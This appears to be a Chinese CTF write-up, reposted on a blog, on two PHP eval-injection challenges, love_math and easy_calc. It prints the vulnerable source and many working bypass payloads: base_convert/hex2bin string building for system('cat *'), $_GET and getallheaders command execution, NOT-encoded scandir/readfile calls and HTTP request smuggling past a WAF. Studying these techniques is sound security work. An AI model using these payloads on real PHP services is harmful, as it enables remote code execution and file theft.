CISCN love_math和roarctf的easy_clac學習分析


Love_math

題目源碼:

<?php 
error_reporting(0); 
//聽說你很喜歡數學,不知道你是否愛它勝過愛flag 
if(!isset($_GET['c'])){ 
    show_source(__FILE__); 
}else{ 
    //例子 c=20-1 
    $content = $_GET['c']; 
    if (strlen($content) >= 80) { 
        die("太長了不會算"); 
    } 
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]']; 
    foreach ($blacklist as $blackitem) { 
        if (preg_match('/' . $blackitem . '/m', $content)) { 
            die("請不要輸入奇奇怪怪的字符"); 
        } 
    } 
    //常用數學函數http://www.w3school.com.cn/php/php_ref_math.asp 
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs); 
    foreach ($used_funcs[0] as $func) { 
        if (!in_array($func, $whitelist)) { 
            die("請不要輸入奇奇怪怪的函數"); 
        } 
    } 
    //幫你算出答案 
    eval('echo '.$content.';'); 
}

 這道題又讓我學到了很多姿勢,通過base_convert可以任意進制轉換,可以通過講10進制轉36進制,轉出a-z的符號,再通過拼接實現任意繞過執行任意代碼。

這里附上Smile師傅的總結love_math題解

題目分析

<?php 
error_reporting(0); 
//聽說你很喜歡數學,不知道你是否愛它勝過愛flag 
if(!isset($_GET['c'])){ 
    show_source(__FILE__); 
}else{ 
    //例子 c=20-1 
    $content = $_GET['c']; 
    if (strlen($content) >= 80) { 
        die("太長了不會算"); 
    } 
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]']; 
    foreach ($blacklist as $blackitem) { 
        if (preg_match('/' . $blackitem . '/m', $content)) { 
            die("請不要輸入奇奇怪怪的字符"); 
        } 
    } 
    //常用數學函數http://www.w3school.com.cn/php/php_ref_math.asp 
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs); 
    foreach ($used_funcs[0] as $func) { 
        if (!in_array($func, $whitelist)) { 
            die("請不要輸入奇奇怪怪的函數"); 
        } 
    } 
    //幫你算出答案 
    eval('echo '.$content.';'); 
}

  

可以看到題目限制了參數的長度要小於80,且不能包含空格、制表符、換行、單雙引號、反引號、[]。並且輸入的字符串需要為$whitelist中的函數。
最終會執行 eval('echo '.$content.';');

既然想要getshell,我們必須要能夠獲取任意字符串。由於單雙引號被ban掉了,我們無法從函數名中提取字符串。因此我們只能想辦法從函數的返回結果中獲取。

通過翻閱文檔,我們發現base_convert函數可以返回任意字母,需要注意它無法返回_ *等特殊字符。
image.png
image.png
成功執行
image.png
執行系統命令system('ls')
image.png
現在我們需要想辦法讀取flag.php的內容,三條路:
1、使用php函數readfile等函數讀取文件,但是需要flag.php中的.
2、使用system等命令執行函數配合通配符*讀取文件,但是需要*
3、使用$_GET全局變量手動傳入參數getshell。

上面的三種方法都建立在字符長度小於80的條件下。

方法1

為了縮短字符長度,我們可以將函數base_convert賦值給一個短變量名,由於白名單的限制,我們最少需要兩個字符,即$pi

($pi=base_convert)(2146934604002,10,36)('flag.php');

我們需要異或出.然后與flag和php拼接到一起,傳入readfile。
本地搭建環境fuzz

<?php $a = $_GET['a']; $b = $_GET['b']; echo $a^$b; 

image.png
發現無法異或出.
但是我們發現dechex函數可以把10進制轉換為16進制,我們可以再異或出hex2bin,來獲取任意ASCII字符。
image.png

最終payload

($pi=base_convert)(2146934604002,10,36)($pi(727432,10,36).$pi(37907361743,10,36)(dechex(46)).$pi(33037,10,36));

很明顯,超長了
image.png
本地測試下在沒有長度限制下,是否可以讀取
image.png

方法2

同樣的,我們fuzz發現無法異或出*,需要借助hex2bin函數。
system

php > echo base_convert('system',36,10);
1751504350

cat *的16進制為636174202a

 

 最初payload

($pi=base_convert)(1751504350,10,36)($pi(37907361743,10,36)(dechex(426836762666)))

成功小於80
image.png
image.png

image.png

方法3

這個思路來自xq17和shadow師傅,已經過本人同意。

剛開始我們知道可以異或出_。並且$沒有被waf,因此我們可以使用$_GET全局變量手動傳入參數getshell。
雖然[]被過濾,我們依然可以使用{}來提取數組中的值。
image.png
通過fuzz,我們可以得到

1^n=_; 5^r=G; 1^t=E; 7^c=T

image.png
image.png
image.png

不難構造出
$pi=base_convert;$pi=$pi(53179,10,36)^$pi(1109136,10,36);${$pi}{0}(${$pi}{1})
image.png

image.png

其實還有種方法就是利用getallheaders方法,因為是apache中間件,所以可以用getallheaders方法

方法4

通過getallheaders構造可控headers,system執行。來自先知社區的ROIS WP

那么多數學函數,實際上唯一能用的只有進制轉換類,即base_convertdechex,通過其能導出[0-9a-z]在內的字符。

經過一大堆失敗的實驗,如:

// phpinfo();
(base_convert(55490343972,10,36))();

 

// system('cat /*');
$pi=base_convert(9911,10,28);base_convert(1751504350,10,36)($pi(99).$pi(97).$pi(116).$pi(32).$pi(42));

  

// system($_GET);
$pi=base_convert(16191,10,36);$pi=$pi(95).$pi(71).$pi(69).$pi(84);base_convert(1751504350,10,36)($$pi{pi});

最后使用system(getallheaders(){9}) 

$pi=base_convert;$pi(371235972282,10,28)(($pi(8768397090111664438,10,30))(){9})

 

easy_clac

題目改編自Love_math,題目的難點在於設置的waf,限制了字符串,只能數字通行。在buuctf平台復現

 

 calc.php題目源碼:

<?php 
error_reporting(0); 
if(!isset($_GET['num'])){ 
    show_source(__FILE__); 
}else{ 
        $str = $_GET['num']; 
        $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^']; 
        foreach ($blacklist as $blackitem) { 
                if (preg_match('/' . $blackitem . '/m', $str)) { 
                        die("what are you want to do?"); 
                } 
        } 
        eval('echo '.$str.';'); 
} 
?> 

與love_math還是有本質區別的,沒有限制數學函數,並且過濾了$,^等。

那我們可以通過~取反來嘗試讀取當前目錄。

發現輸入字符會403,但是輸入數字卻可以正常執行。結合題目給的源碼,設置了waf用來截斷字符,通行數字。

這里通過三篇文章學習到了一些繞過方法,一二篇都是parse_str的,通過傳參php的字符串解析問題,首發於先知社區。第三篇是http走私攻擊

  1. 利用PHP函數parse_str繞過IDS、IPS和WAF
  2. 利用PHP的字符串解析特性Bypass
  3. 協議層的攻擊——HTTP請求走私

方法一

 

 這里因為限制了單引號,因此我們還是可以用取反操作,直接不需要單引號,轉化為字符串。來嘗試讀取目錄

var_dump(scandir('.')) 
var_dump(scandir((~%D1)))

 

在嘗試讀下根目錄

 

嘗試讀取f1agg文件

本來想用system()直接讀的,disable_funcionts禁了

 

 用readfile讀取f1agg

 

還有種方法就是還是用數學函數來實現,payload:

base_convert(2146934604002,10,36)(hex2bin(dechex(47)).base_convert(25254448,10,36))

方法二

http走私是由於前端代理服務器和后端源服務器之間的一些差異導致請求走私。

通過CL-CL的方法來執行

 

 

利用CL-TE或者TE-CL

根據我的理解,其實對於這道題都一樣,前端代理和后端源都會執行一遍get傳參,前端代理有waf,后端源執行返回正常的。

 

可能我的理解有所偏頗,但是知道並且能理解就行,不要太鑽牛角尖。

后面的步驟與方法一 一樣

 

這里附上很神奇payload:

((((((2).(0)){0}){0})|(((0/0).(0)){1})).(((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2}))).((((2).(0)){0})|((((999**999).(1)){0})&(((999**999).(1)){2}))).(((999**999).(1)){0}).(((0/0).(0)){1}).((((999**999).(1)){1})&((((-1).(0)){0})|(((0/0).(0)){1}))).(((999**999).(1)){0}).((((2).(0)){0})|((((999**999).(1)){0})&(((999**999).(1)){1}))).(((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2}))))(((((999**999).(1)){2}).(((999**999).(1)){0}).((((999**999).(1)){1})&((((-1).(0)){0})|(((0/0).(0)){1}))).(((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2}))))(((((-1).(0)){0})|(((((8).(0)){0})&((((-1).(0)){0})|(((999**999).(1)){1})))|((((2).(0)){0})&((((-1).(0)){0})|(((999**999).(1)){1}))))).((((999**999).(1)){2})|((((4).(0)){0})&(((-1).(0)){0}))).(((1).(1)){0}).((((0/0).(0)){1})|(((-2).(1)){0})&(((1).(0)){0})).((((999**999).(1)){2})|(((-2).(1)){0})&(((1).(0)){0})).((((999**999).(1)){2})|(((-2).(1)){0})&(((1).(0)){0}))))

學習文章:https://github.red/roarctf-web-writeup/#easy_calc  

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM